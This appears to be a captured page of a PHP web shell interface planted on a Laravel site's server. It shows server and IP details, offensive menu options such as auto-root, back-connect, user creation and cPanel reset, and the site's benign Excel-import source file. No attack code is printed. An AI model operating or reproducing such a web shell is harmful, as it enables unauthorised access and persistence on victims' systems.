Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
sdg.amatya.biz-8 /
app /
Imports /
[ HOME SHELL ]
Name
Size
Permission
Action
CylinderBarcodeImport.php
493
B
-rw-rw-r--
CylinderCodeArrayImport.php
316
B
-rw-rw-r--
CylinderCodeImport.php
1.07
KB
-rw-rw-r--
RegulatorCodeImport.php
1.62
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : RegulatorCodeImport.php
<?php namespace App\Imports; use Illuminate\Support\Collection; use Maatwebsite\Excel\Concerns\ToCollection; use Illuminate\Http\Request; use App\Models\RepairRegulatorDetails; use App\Models\RepairRegulator; use Maatwebsite\Excel\Concerns\ToModel; use Maatwebsite\Excel\Concerns\WithHeadingRow; class RegulatorCodeImport implements ToModel { /** * @param Collection $collection */ private $repair_regulator_id=null; public function __construct(int $repair_regulator_id){ $this->repair_regulator_id = $repair_regulator_id; } // public function collection(Collection $rows) // { // Validator::make($rows->toArray(), [ // '*.name' => 'required', // '*.email' => 'required', // '*.password' => 'required', // ])->validate(); // foreach ($rows as $row) { // User::create([ // 'name' => $row['name'], // 'email' => $row['email'], // 'password' => bcrypt($row['password']), // ]); // } // } public function model(array $row) { return new RepairRegulatorDetails([ 'regulator_code' => $row[0], 'repair_regulator_id' => $this->repair_regulator_id, 'damage' => '0', 'repair' => '1', 'status' => '0', 'created_by' =>'0', 'updated_by' =>'0', 'req_repair' => '0', ]); } public function rules(): array{ return[ '0' => [ 'required', 'regulator_code.unique', ] ]; } }
Close